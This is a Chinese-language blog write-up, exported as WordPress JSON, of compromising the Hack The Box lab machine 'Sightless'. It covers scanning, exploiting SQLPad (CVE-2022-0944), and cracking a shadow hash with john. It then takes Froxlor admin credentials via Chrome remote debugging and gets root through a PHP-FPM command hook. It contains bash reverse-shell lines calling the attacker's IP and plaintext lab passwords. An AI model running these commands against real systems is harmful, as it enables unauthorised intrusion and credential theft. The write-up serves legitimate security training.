{"id":201,"date":"2024-11-13T11:07:32","date_gmt":"2024-11-13T03:07:32","guid":{"rendered":"https:\/\/www.misaka19008-lab.icu\/?p=201"},"modified":"2024-11-13T11:07:33","modified_gmt":"2024-11-13T03:07:33","slug":"201","status":"publish","type":"post","link":"https:\/\/www.misaka19008-lab.icu\/index.php\/2024\/11\/13\/201\/","title":{"rendered":"HTB\u9776\u673a Sightless \u6e17\u900f\u6d4b\u8bd5\u8bb0\u5f55"},"content":{"rendered":"<hr \/>\n<h1>\u76ee\u6807\u4fe1\u606f<\/h1>\n<blockquote><p><strong>IP\u5730\u5740\uff1a<\/strong><code>10.10.11.32<\/code><\/p><\/blockquote>\n<hr \/>\n<h1>\u4fe1\u606f\u6536\u96c6<\/h1>\n<h2>ICMP\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\">PING 10.10.11.32 (10.10.11.32) 56(84) bytes of data.\n64 bytes from 10.10.11.32: icmp_seq=1 ttl=63 time=160 ms\n64 bytes from 10.10.11.32: icmp_seq=2 ttl=63 time=160 ms\n64 bytes from 10.10.11.32: icmp_seq=3 ttl=63 time=160 ms\n64 bytes from 10.10.11.32: icmp_seq=4 ttl=63 time=160 ms\n\n--- 10.10.11.32 ping statistics ---\n4 packets transmitted, 4 received, 0% packet loss, time 3278ms\nrtt min\/avg\/max\/mdev = 159.539\/159.846\/160.191\/0.264 ms<\/code><\/pre>\n<p>\u653b\u51fb\u673a\u548c\u9776\u673a\u95f4\u7684\u901a\u4fe1\u826f\u597d\u3002<\/p>\n<h2>\u9632\u706b\u5899\u68c0\u6d4b<\/h2>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Sep 12 09:59:44 2024 as: nmap -sF -p- --min-rate 2000 -oN .\/fin_result.txt 10.10.11.32\nNmap scan report for 10.10.11.32 (10.10.11.32)\nHost is up (0.16s latency).\nNot shown: 65532 closed tcp ports (reset)\nPORT   STATE         SERVICE\n21\/tcp open|filtered ftp\n22\/tcp open|filtered ssh\n80\/tcp open|filtered http\n\n# Nmap done at Thu Sep 12 10:00:24 2024 -- 1 IP address (1 host up) scanned in 39.89 seconds<\/code><\/pre>\n<p>\u9776\u673a\u7591\u4f3c\u5f00\u653e\u4e86<code>3<\/code>\u4e2aTCP\u7aef\u53e3\u3002<\/p>\n<h2>\u7f51\u7edc\u7aef\u53e3\u626b\u63cf<\/h2>\n<p><code>TCP<\/code><strong>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Sep 12 10:07:47 2024 as: nmap -sS -sV -A -p 21,22,80 -oN .\/tcp_result.txt 10.10.11.32\nNmap scan report for 10.10.11.32 (10.10.11.32)\nHost is up (0.16s latency).\n\nPORT   STATE SERVICE VERSION\n21\/tcp open  ftp\n| fingerprint-strings: \n|   GenericLines: \n|     220 ProFTPD Server (sightless.htb FTP Server) [::ffff:10.10.11.32]\n|     Invalid command: try being more creative\n|_    Invalid command: try being more creative\n22\/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)\n| ssh-hostkey: \n|   256 c9:6e:3b:8f:c6:03:29:05:e5:a0:ca:00:90:c9:5c:52 (ECDSA)\n|_  256 9b:de:3a:27:77:3b:1b:e1:19:5f:16:11:be:70:e0:56 (ED25519)\n80\/tcp open  http    nginx 1.18.0 (Ubuntu)\n|_http-server-header: nginx\/1.18.0 (Ubuntu)\n|_http-title: Did not follow redirect to http:\/\/sightless.htb\/\n1 service unrecognized despite returning data. If you know the service\/version, please submit the following fingerprint at https:\/\/nmap.org\/cgi-bin\/submit.cgi?new-service :\nSF-Port21-TCP:V=7.94SVN%I=7%D=9\/12%Time=66E24D03%P=x86_64-pc-linux-gnu%r(G\nSF:enericLines,A0,\"220x20ProFTPDx20Serverx20(sightless.htbx20FTPx20\nSF:Server)x20[::ffff:10.10.11.32]rn500x20Invalidx20command:x20\nSF:tryx20beingx20morex20creativern500x20Invalidx20command:x20tryx\nSF:20beingx20morex20creativern\");\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 5.0 (97%), Linux 4.15 - 5.8 (96%), Linux 5.3 - 5.4 (95%), Linux 2.6.32 (95%), Linux 5.0 - 5.5 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 2 hops\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel\n\nTRACEROUTE (using port 443\/tcp)\nHOP RTT       ADDRESS\n1   158.74 ms 10.10.14.1 (10.10.14.1)\n2   158.92 ms 10.10.11.32 (10.10.11.32)\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Thu Sep 12 10:09:04 2024 -- 1 IP address (1 host up) scanned in 77.35 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u5f00\u653e\u5217\u8868\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Thu Sep 12 10:11:15 2024 as: nmap -sU -p- --min-rate 2000 -oN .\/udp_report.txt 10.10.11.32\nWarning: 10.10.11.32 giving up on port because retransmission cap hit (10).\nNmap scan report for 10.10.11.32 (10.10.11.32)\nHost is up (0.18s latency).\nAll 65535 scanned ports on 10.10.11.32 (10.10.11.32) are in ignored states.\nNot shown: 65173 open|filtered udp ports (no-response), 362 closed udp ports (port-unreach)\n\n# Nmap done at Thu Sep 12 10:17:16 2024 -- 1 IP address (1 host up) scanned in 360.73 seconds<\/code><\/pre>\n<p><code>UDP<\/code><strong>\u7aef\u53e3\u8be6\u7ec6\u4fe1\u606f\u626b\u63cf\u7ed3\u679c<\/strong><\/p>\n<pre><code class=\"language-plain\">\uff08\u65e0\uff09<\/code><\/pre>\n<p>\u540c\u65f6\u53d1\u73b0\u9776\u673a\u64cd\u4f5c\u7cfb\u7edf\u4e3a<code>Ubuntu Linux<\/code>\uff0c\u6709\u4e3b\u57df\u540d<code>sightless.htb<\/code>\u3002<\/p>\n<hr \/>\n<h1>\u670d\u52a1\u63a2\u6d4b<\/h1>\n<h2>FTP\u670d\u52a1\uff0821\u7aef\u53e3\uff09<\/h2>\n<p>\u5c1d\u8bd5\u4f7f\u7528<code>ftp<\/code>\u547d\u4ee4\u8fde\u63a5\uff0c\u53d1\u73b0<code>FTP<\/code>\u670d\u52a1\u9700\u8981TLS\u8fde\u63a5\uff0c\u4f7f\u7528<code>lftp<\/code>\u8fde\u63a5\uff1a<\/p>\n<pre><code class=\"language-shell\">lftp ftp:\/\/anonymous@10.10.11.32<\/code><\/pre>\n<p>\u4f46\u65e0\u6cd5\u4f7f\u7528\u533f\u540d\u8d26\u53f7\u767b\u5f55\u3002<\/p>\n<h2>SSH\u670d\u52a1\uff0822\u7aef\u53e3\uff09<\/h2>\n<p>\u7aef\u53e3<code>Banner<\/code>\uff1a<\/p>\n<pre><code class=\"language-shell\">\u250c\u2500\u2500(root\u327fmisaka19008)-[\/home\/megumin\/Documents\/pentest_notes\/sightless]\n\u2514\u2500# nc -nv 10.10.11.32 22\n(UNKNOWN) [10.10.11.32] 22 (ssh) open\nSSH-2.0-OpenSSH_8.9p1 Ubuntu-3ubuntu0.10<\/code><\/pre>\n<h2>Web\u5e94\u7528\u7a0b\u5e8f\uff0880\u7aef\u53e3\uff09<\/h2>\n<p>\u6253\u5f00\u7f51\u5740\uff1a<code>http:\/\/sightless.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726108850515-a4c3fc92-6414-4839-bb1f-fa774233fa7c.png\" alt=\"\" \/><\/p>\n<p>\u67e5\u770b\u9875\u9762\uff0c\u53d1\u73b0\u4e00\u4e2a\u57df\u540d\uff1a<code>sqlpad.sightless.htb<\/code><\/p>\n<pre><code class=\"language-html\">&lt;div class=\"card\"&gt;\n  &lt;i class=\"fa-brands fa-airbnb\"&gt;&lt;\/i&gt;\n  &lt;h5&gt;SQLPad&lt;\/h5&gt;\n  &lt;div class=\"pra\"&gt;\n    &lt;p&gt;SQLPad is a web app that lets users connect to various SQL servers via a browser. Click \"Start Now\" to try a demo!&lt;\/p&gt;\n    &lt;p style=\"text-align: center;\"&gt;\n      &lt;a class=\"button\" href=\"http:\/\/sqlpad.sightless.htb\/\"&gt; Start Now&lt;\/a&gt;\n    &lt;\/p&gt;\n  &lt;\/div&gt;\n&lt;\/div&gt;<\/code><\/pre>\n<p>\u9664\u6b64\u4e4b\u5916\u672a\u53d1\u73b0\u4fe1\u606f\uff0c\u76f4\u63a5\u626b\u63cf\u76ee\u5f55\uff1a<\/p>\n<pre><code class=\"language-plain\"># Dirsearch started Thu Sep 12 10:53:42 2024 as: \/usr\/lib\/python3\/dist-packages\/dirsearch\/dirsearch.py -u http:\/\/sightless.htb\/ -x 400,403,404 -e php,js,html,asp,aspx,jsp,jspx,txt,zip,tar.gz,pcap -t 60 -w \/usr\/share\/wordlists\/dirb\/big.txt\n\n301   178B   http:\/\/sightless.htb\/icones    -&gt; REDIRECTS TO: http:\/\/sightless.htb\/icones\/\n301   178B   http:\/\/sightless.htb\/images    -&gt; REDIRECTS TO: http:\/\/sightless.htb\/images\/<\/code><\/pre>\n<p>\u672a\u53d1\u73b0\u654f\u611f\u4fe1\u606f\u3002\u6536\u96c6\u5b50\u57df\u540d\u4fe1\u606f\u3002<\/p>\n<p>\u6253\u5f00\u7f51\u5740\uff1a<code>http:\/\/sqlpad.sightless.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726113461964-3fd89ca4-b9fa-44b8-be0c-b3dc354d894d.png\" alt=\"\" \/><\/p>\n<p>\u53d1\u73b0\u76ee\u6807\u7cfb\u7edf\u4e3a<code>SQLPad v6.10.0<\/code>\u6570\u636e\u5e93\u7ba1\u7406\u7cfb\u7edf\uff0c\u7ecf\u67e5\uff0c\u8be5\u7cfb\u7edf\u7684<code>test-connection<\/code>API\u6a21\u5757\u5b58\u5728\u4e25\u91cd\u7684\u4ee3\u7801\u6267\u884c\u6f0f\u6d1e\uff0c\u7f16\u53f7\u4e3a<code>CVE-2022-0944<\/code>\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726113648414-9e573794-5112-4eb7-8857-9e2eba69e4ad.png\" alt=\"\" \/><\/p>\n<hr \/>\n<h1>\u6e17\u900f\u6d4b\u8bd5<\/h1>\n<p>\u76f4\u63a5\u4f7f\u7528\u7f51\u7edc\u4e0a\u7684RCE\u811a\u672c\uff1a<a href=\"https:\/\/github.com\/shhrew\/CVE-2022-0944\" target=\"_blank\"  rel=\"nofollow\" >CVE-2022-0944\/main.py at main \u00b7 shhrew\/CVE-2022-0944 \u00b7 GitHub<\/a><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726113764344-786228c4-1fee-4db3-873c-0882192eabd2.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-shell\">.\/exp.py http:\/\/sqlpad.sightless.htb\/ 10.10.14.4 8080<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726113916851-57ca2cca-7595-40e7-af32-8ff1501afbe2.png\" alt=\"\" \/><\/p>\n<p>\u7531\u4e8e\u4f7f\u7528<code>pwn<\/code>\u5e93\u8fdb\u884c\u540e\u7eed\u64cd\u4f5c\u8fde\u63a5\u4e0d\u7a33\u5b9a\uff0c\u6267\u884c\u5982\u4e0b\u547d\u4ee4\u91cd\u65b0\u83b7\u53d6\u7a33\u5b9a\u7684Shell\u8fde\u63a5\uff1a<\/p>\n<pre><code class=\"language-shell\">\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.4\/443 0&gt;&amp;1'<\/code><\/pre>\n<hr \/>\n<h1>\u6743\u9650\u63d0\u5347<\/h1>\n<h2>Docker\u9003\u9038<\/h2>\n<p>\u8fdb\u5165\u7cfb\u7edf\u4e4b\u540e\uff0c\u53d1\u73b0\u73af\u5883\u4e3aDocker\u5bb9\u5668\uff0c\u8fdb\u884cDocker\u9003\u9038\u3002<\/p>\n<p>\u5c1d\u8bd5\u8bfb\u53d6<code>\/etc\/shadow<\/code>\u6587\u4ef6\uff0c\u53d1\u73b0Docker\u5bb9\u5668\u5185\u67092\u4e2a\u7528\u6237\uff1a<code>michael<\/code>\u548c<code>node<\/code>\uff0c\u5176\u4e2d<code>michael<\/code>\u53d7\u5bc6\u7801\u4fdd\u62a4\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726188694772-ab54a4e2-ae39-46c9-9f03-32f2e86d07a2.png\" alt=\"\" \/><\/p>\n<pre><code class=\"language-plain\">michael:$6$mG3Cp2VPGY.FDE8u$KVWVIHzqTzhOSYkzJIpFc2EsgmqvPa.q2Z9bLUU6tlBWaEwuxCDEP9UFHIXNUcF2rBnsaFYuJa6DUh\/pL2IJD\/:19860:0:99999:7:::<\/code><\/pre>\n<p>\u5c1d\u8bd5\u5c06<code>michael<\/code>\u7528\u6237\u7684\u5bc6\u7801\u914d\u7f6e\u4fdd\u5b58\u5230\u672c\u5730\uff0c\u5e76\u4f7f\u7528<code>john<\/code>\u5de5\u5177\u7834\u89e3\uff1a<\/p>\n<pre><code class=\"language-shell\">john .\/shadow.txt --wordlist=\/usr\/share\/wordlists\/rockyou.txt<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726188913030-276a6819-e956-457f-b324-00e9a30e2f48.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u7834\u89e3\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>michael<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>insaneclownposse<\/code><\/li>\n<\/ul>\n<p>\u5c1d\u8bd5\u767b\u5f55SSH\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726189071052-367cac8f-4f03-4682-95bc-d141193cb18b.png\" alt=\"\" \/><\/p>\n<p><strong>\u9003\u9038\u6210\u529f\uff01\uff01<\/strong><\/p>\n<h2>\u672c\u5730\u4fe1\u606f\u6536\u96c6<\/h2>\n<p><strong>\u57fa\u672c\u7cfb\u7edf\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726191984144-57a90390-688f-4885-bae6-7d7806315c94.png\" alt=\"\" \/><\/p>\n<p><strong>\u8fdb\u7a0b\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726191989221-66490cc4-8886-4983-8dd1-dcc5c356ebf7.png\" alt=\"\" \/><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726191993779-533ccb8f-7fc2-43ef-8a30-cfdc280f9f5a.png\" alt=\"\" \/><\/p>\n<p><strong>\u8ba1\u5212\u4efb\u52a1\u5217\u8868<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192000062-decd7151-5b0a-4d37-bc1e-538f788e0491.png\" alt=\"\" \/><\/p>\n<p><strong>\u73af\u5883\u53d8\u91cf<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192008241-0e59662c-c97c-4065-928e-3b5ff454dfc8.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192015256-34421e52-710c-4535-ab4e-69f93ce21e7f.png\" alt=\"\" \/><\/p>\n<p><strong>\u7528\u6237\u5bb6\u76ee\u5f55<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192022841-0444a7c8-2e29-42fb-87e0-049d44f64e2c.png\" alt=\"\" \/><\/p>\n<p><strong>\u7279\u6b8a\u6743\u9650\u6587\u4ef6<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192029116-65119852-ff12-48ec-b97f-7998db36773b.png\" alt=\"\" \/><\/p>\n<p><strong>\u5f00\u653e\u7aef\u53e3\u4fe1\u606f<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192034698-2a2fd415-ed96-493f-b760-b085611336ef.png\" alt=\"\" \/><\/p>\n<p><strong>\u654f\u611f\u6587\u4ef6\u6743\u9650<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192042325-e4f32ca2-1a6e-463b-a197-539cf8d2ac01.png\" alt=\"\" \/><\/p>\n<p><strong>Apache\u90e8\u5206\u914d\u7f6e<\/strong><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726192058355-17445dc1-3db8-4bac-bac9-99f9fdfb05fc.png\" alt=\"\" \/><\/p>\n<p>\u7ecf\u5206\u6790\u7814\u5224\uff0c\u53d1\u73b0\u9776\u673a<code>8080<\/code>\u7aef\u53e3\u5f00\u653e\u4e86<code>Apache Web<\/code>\u670d\u52a1\uff0c\u57df\u540d\u4e3a<code>admin.sightless.htb<\/code>\uff0c\u7591\u4f3c\u5728\u8fd0\u884c<code>Froxlor<\/code>\u670d\u52a1\u5668\u5728\u7ebf\u7ba1\u7406\u7cfb\u7edf\u3002\u51b3\u5b9a\u4ee5\u6b64\u4e3a\u5165\u53e3\u70b9\u8fdb\u884c\u63d0\u6743\u3002<\/p>\n<h2>8080\u7aef\u53e3\u6e17\u900f<\/h2>\n<p>\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\u5c06\u9776\u673a<code>8080<\/code>\u7aef\u53e3\u8f6c\u53d1\u5230\u653b\u51fb\u673a\u4e0a\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh -L 8080:127.0.0.1:8080 -N -f michael@10.10.11.32<\/code><\/pre>\n<p>\u7aef\u53e3\u626b\u63cf\u7ed3\u679c\uff1a<\/p>\n<pre><code class=\"language-plain\"># Nmap 7.94SVN scan initiated Fri Sep 13 10:58:56 2024 as: nmap -sS -sV -A -p 8080 -oN .\/tcp8080_result.txt 127.0.0.1\nNmap scan report for localhost (127.0.0.1)\nHost is up (0.000045s latency).\n\nPORT     STATE SERVICE VERSION\n8080\/tcp open  http    Apache httpd 2.4.52 ((Ubuntu))\n|_http-open-proxy: Proxy might be redirecting requests\n|_http-server-header: Apache\/2.4.52 (Ubuntu)\n| http-title: froxlor - Domain not configured\n|_Requested resource was notice.html\nWarning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port\nAggressive OS guesses: Linux 5.0 - 5.7 (96%), Linux 3.8 - 4.14 (95%), Linux 3.1 (95%), Linux 3.2 (95%), AXIS 210A or 211 Network Camera (Linux 2.6.17) (95%), Linux 3.7 - 3.11 (94%), Linux 2.6.32 (93%), Linux 3.7 - 3.10 (93%), ASUS RT-N56U WAP (Linux 3.4) (93%), Linux 3.16 (93%)\nNo exact OS matches for host (test conditions non-ideal).\nNetwork Distance: 0 hops\n\nOS and Service detection performed. Please report any incorrect results at https:\/\/nmap.org\/submit\/ .\n# Nmap done at Fri Sep 13 10:59:20 2024 -- 1 IP address (1 host up) scanned in 23.87 seconds<\/code><\/pre>\n<p>\u6253\u5f00\u4e3b\u9875\uff1a<code>http:\/\/admin.sightless.htb\/<\/code><\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726196683181-17a394f3-f4ce-4a9b-9d05-f5f5387b50e3.png\" alt=\"\" \/><\/p>\n<p>\u5c1d\u8bd5\u4ee5<code>michael<\/code>\u7528\u6237\u8eab\u4efd\u767b\u5f55\uff0c\u5931\u8d25\u3002<\/p>\n<h2>Chrome\u8fdc\u7a0b\u8c03\u8bd5<\/h2>\n<p>\u5728\u672c\u5730\u4fe1\u606f\u6536\u96c6\u8fc7\u7a0b\u4e2d\uff0c\u8fd8\u53d1\u73b0\u9776\u673a\u4e0a\u8fd0\u884c\u4e86\u65e0\u5934\u6d4f\u89c8\u5668\uff0c\u7ecf\u8fc7\u5c1d\u8bd5\uff0c\u786e\u5b9a\u7aef\u53e3\u4e3a<code>40945<\/code>\uff0c\u5c1d\u8bd5\u5c06\u5176\u8f6c\u53d1\u5230\u672c\u5730\uff1a<\/p>\n<pre><code class=\"language-shell\">ssh -L 40945:127.0.0.1:40945 -N -f michael@10.10.11.32<\/code><\/pre>\n<p>\u968f\u540e\u542f\u52a8Chrome\uff0c\u8bbe\u7f6e\u8fdc\u7a0b\u8c03\u8bd5\u53c2\u6570\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726200755847-502867d6-2d58-4901-9f9a-67a994e55e27.png\" alt=\"\" \/><\/p>\n<p>\u6210\u529f\u542f\u52a8\u8fdc\u7a0b\u8c03\u8bd5\uff0c\u5e76\u53d1\u73b0\u7528\u6237\u51ed\u636e\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726200895027-d2f86a6d-5314-47de-a150-3baa5eedd538.png\" alt=\"\" \/><\/p>\n<ul>\n<li>\u7528\u6237\u540d\uff1a<code>admin<\/code><\/li>\n<li>\u5bc6\u7801\uff1a<code>ForlorfroxAdmin<\/code><\/li>\n<\/ul>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726200983408-5bb20112-acdb-4851-842a-860498cd9c95.png\" alt=\"\" \/><\/p>\n<p><strong>\u767b\u5f55\u6210\u529f\uff01\uff01\uff01<\/strong><\/p>\n<h2>Froxlor\u63d0\u6743<\/h2>\n<p>\u767b\u5f55\u9762\u677f\u540e\uff0c\u70b9\u51fb\u53f3\u4fa7<code>PHP<\/code>-&gt;<code>PHP-FPM versions<\/code>\uff0c\u53d1\u73b0\u53ef\u4ee5\u81ea\u5b9a\u4e49<code>PHP-FPM<\/code>\u670d\u52a1\u7684\u91cd\u542f\u547d\u4ee4\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726206969342-69125c04-89d0-402b-97ce-ff0694c021f9.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u521b\u5efa<code>\/tmp\/evil.sh<\/code>\u811a\u672c\u6587\u4ef6\uff0c\u7528\u4e8e\u53cd\u5f39Shell\uff1a<\/p>\n<pre><code class=\"language-bash\">#! \/bin\/bash\n\/bin\/bash -c 'bash -i &gt;&amp; \/dev\/tcp\/10.10.14.4\/4444 0&gt;&amp;1' &amp;\nexit 0<\/code><\/pre>\n<p>\u968f\u540e\u5c06\u547d\u4ee4\u6539\u4e3a\u6267\u884c<code>\/tmp\/evil.sh<\/code>\uff0c\u4fdd\u5b58\uff0c\u7136\u540e\u8fdb\u5165<code>System<\/code>-&gt;<code>Settings<\/code>\uff0c\u70b9\u51fb<code>PHP-FPM<\/code>\u9009\u9879\u5361\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726207149491-247cad02-9c46-4b20-9a54-e284c128cb99.png\" alt=\"\" \/><\/p>\n<p>\u76f4\u63a5\u5c06<code>Enable php-fpm<\/code>\u5f00\u5173\u5173\u95ed\uff0c\u4e4b\u540e\u91cd\u65b0\u5f00\u542f\u4ee5\u89e6\u53d1\u6076\u610f\u6307\u4ee4\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/cdn.nlark.com\/yuque\/0\/2024\/png\/42816956\/1726207569714-3e1a0c05-68dd-4faf-ba76-bee775edfb32.png\" alt=\"\" \/><\/p>\n<p><strong>\u63d0\u6743\u6210\u529f\uff01\uff01\uff01\uff01<\/strong><\/p>\n<hr \/>\n<h1>\u672c\u6b21\u9776\u673a\u6e17\u900f\u5230\u6b64\u7ed3\u675f<\/h1>\n<hr \/>\n","protected":false},"excerpt":{"rendered":"<p>\u76ee\u6807\u4fe1\u606f IP\u5730\u5740\uff1a10.10.11.32 \u4fe1\u606f\u6536\u96c6 ICMP\u68c0\u6d4b PING 10.10.11.32 (10.10.11.32)  &#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"_seopress_robots_primary_cat":"","_seopress_titles_title":"","_seopress_titles_desc":"","_seopress_robots_index":"","emotion":"","emotion_color":"","title_style":"","license":"","footnotes":""},"categories":[3,14],"tags":[],"class_list":["post-201","post","type-post","status-publish","format-standard","hentry","category-htb_retired","category-linux_machines"],"_links":{"self":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/201","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/comments?post=201"}],"version-history":[{"count":1,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/201\/revisions"}],"predecessor-version":[{"id":202,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/posts\/201\/revisions\/202"}],"wp:attachment":[{"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/media?parent=201"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/categories?post=201"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.misaka19008-lab.icu\/index.php\/wp-json\/wp\/v2\/tags?post=201"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}